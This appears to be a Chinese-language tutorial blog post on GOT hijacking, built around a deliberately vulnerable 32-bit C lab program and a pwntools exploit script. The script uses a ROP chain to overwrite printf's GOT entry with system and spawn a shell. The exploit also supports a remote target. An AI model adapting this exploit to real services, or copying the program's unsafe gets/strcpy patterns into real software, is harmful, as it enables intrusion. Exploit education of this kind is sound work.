棧溢出學習(四)之Hijack GOT

前言

棧溢出學習(四),講述Hijack GOT的基本原理及其利用ROPchain實現Hijack GOT的方法

樣例代碼

本文使用的代碼如下

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * compiled with:
 *  gcc    -O0     -fno-stack-protector    -no-pie     -z execstack      -m32   -g  -o lab0 lab0.c
          優化等級      關閉canary         關閉地址隨機化   關閉NX      生成32位程序

 */

void shell()//backdoor
{
        printf("You got it\n");
        system("/bin/sh");
}


void hello(char* name)
{
  char buf[20];
  strcpy(buf,name);
  puts("hello!!!");
  printf("i am  %s ",buf);
}

void main(int argc,char** argv)
{
  setbuf(stdin,NULL);
  setbuf(stdout,NULL);
  char buf[100];
  puts("*****************************************");
  puts("PWN,hello world!");
  gets(buf);
  hello(buf);

}

0x06 Hijack GOT

  • 當前環境:未開啓優化,關閉canary,關閉地址隨機化,32位程序
  • 目標:修改某個被調用函數的地址,讓其指向另一個函數

一、原理

參考《程序員的自我修養——鏈接、裝載與庫》200頁,延遲綁定(PLT)

對於使用動態鏈接編譯的程序,將會應用PLT技術,對於全局和靜態的數據訪問都要進行復雜的GOT定位,然後間接尋址。

可以想象一下,一個程序運行過程中,可能很多函數在程序執行完時都不會被用到,比如一些錯誤處理函數或者是一些用戶很少用到的功能模塊等,如果一開始就把所有函數都鏈接好實際上是一種浪費。因此ELF採用了一種叫做延遲綁定(Lazy Binding)的做法,基本的思想就是當函數第一次被用到時才進行綁定(符號査找、重定位等),如果沒有用到則不進行綁定。所以程序開始執行時,模塊間的函數調用都沒有進行綁定,而是需要用到時才由動態鏈接器來負責綁定。

(1)PLT的基本原理

當我們第一次調用某個外部模塊的函數時,會進入到bar@plt結構,我們來看看這個結構的僞彙編代碼

bar@plt:
jmp * (bar@got)
push n 
push moduleID
jump _dl_runtime_resolve

進入到bar@plt後,我們來到第一條指令,此時因爲爲了實現延遲綁定,鏈接器在初始化階段並沒有將bar()的地址填入到bar@got中,而是將上面代碼中第二條指令push n的地址填入到bar@got中。這樣一來,相當於第一條指令jmp * (bar@got)什麼也沒幹。

來到第二條指令push n,這個數字nbar這個符號引用在重定位表.rel.plt中的下標
第三條指令push moduleID,這個moduleID則是bar所在模塊的ID號
第四條指令jump _dl_runtime_resolve,相當於call _dl_runtime_resolve

顯然這三條指令就是做了一個函數調用 _dl_runtime_resolve(moduleID,n),通過這個函數我們就可以查找到bar的真實地址,並將真實的地址存放到bar@got中。之後,程序再次回到第一條指令處jmp * (bar@got),因爲這時候bar@got中已經存放了bar真實地址,因此會跳轉到bar()函數,完成我們的調用過程。

大致調用過程如下圖所示。

第一次調用某函數
當我們第二次調用某個外部模塊的函數時,由於bar@got中已經有了bar()的真實地址,因此這個時候就可以順利完成跳轉,不需要調用_dl_runtime_resolve()查找地址,大致調用過程如下圖所示。
第二次調用某函數

在實現中的PLT結構

在實現中,PLT的結構與我們上面PLT基本原理有些許區別。
ELF將GOT拆分成兩個表叫做.got.got.plt,其中

  • .got保存全局變量引用的地址
  • .got.plt保存函數引用的地址

也就是bar@got.got.plt

PLT基本結構如下圖,.got.plt前三項保存的分別是.dynamic的地址,本模塊ID_dl_runtime_resolve地址
在這裏插入圖片描述
實際的PLT基本結構代碼如下,由上圖可知*(GOT + 4)存放的是moduleID*(GOT + 8)存放的是_dl_runtime_resolve地址,這樣一來,相當於每個函數@plt都節省了兩條指令

PLT0:
push *(GOT + 4)
jump *(GOT + 8)
...
bar@plt:
jmp *(bar@GOT)
push n
jump PLT0

IDA中的PLT結構

對應着上面的理論很簡單可以看懂了,不再贅述

  1. plt
    在這裏插入圖片描述
  2. got.plt
    在這裏插入圖片描述

(2)Hijack GOT基本原理

本文將介紹如何使用ROPchain來實現Hijcak GOT

根據上一部分的講述,我們知道每次調用外部函數,我們必定會到GOT表中查詢外部函數的真實地址,那麼如果我們能將GOT中外部函數的地址修改爲我們的目標函數,就可以實現任意函數執行的效果。

所以說,Hijack GOT需要以下兩個基本條件:

  1. 需要可以實現任意地址寫的函數
  2. 需要程序在完成GOT表修改後能夠執行被我們修改的函數

下面來分析我們的源代碼,爲了方便,就不展示後門函數部分了
在這裏插入圖片描述
顯然,程序中有gets函數可供我們完成got表的修改。那麼我們修改什麼函數呢?其實在當前的題目環境下,不需要考慮,我們任意選一個,選printf函數。我們可以這樣佈局棧空間

照例padding到ret之前,放入gets@plt,即調用gets函數,參數設爲[email protected]

gets([email protected]),將用戶輸入的值放到這個地址,實現Hijach GOT,在這裏我們放入system()的地址即可,在完成這個操作後,調用printf@plt等價於調用system()

之後調用printf@plt,即system("/bin/sh")最終獲取系統權限
在這裏插入圖片描述

二、exp

成功截圖
在這裏插入圖片描述

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2020-03-27 22:32:52
# @Author  : Pz_mstr
# @Version : python3
# @use     : exp for hijack GOT
from pwn import *
import sys

def trans(s):
	return "b'%s'" % ''.join('\\x%.2x' % x for x in s)

debug = True
binary = './lab0'
libc_name = '/home/Pz_mstr/libc/libc2.23x86'

bin = ELF(binary)
libc = ELF(libc_name)

if len(sys.argv) > 1:
	# ip port
	io = remote(sys.argv[1],int(sys.argv[2]))
else:
	#io = process([binary],env={'LD_PRELOAD':libc_name})
	io = process(binary)

if debug:
	context.log_level = 'debug'

io.recvuntil('world!')

padding1 = b'a'*32

gets_plt = bin.plt["gets"]
printf_got = bin.got["printf"]
printf_plt = bin.plt["printf"]
pop_ret = 0xf7e29f97

system_addr = bin.sym["system"]
bin_sh_addr = 0x80486cb
hijack = p32(system_addr)

rop = padding1
rop += p32(gets_plt)	
rop += p32(pop_ret)	
rop += p32(printf_got)
rop += p32(printf_plt)
rop += p32(0xdeadbeef)
rop += p32(bin_sh_addr)

io.sendline(rop)
io.sendline(hijack)

io.interactive()


總結

本文介紹了未開啓保護情況下如何利用ROPchain實現Hijack GOT棧溢出攻擊

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章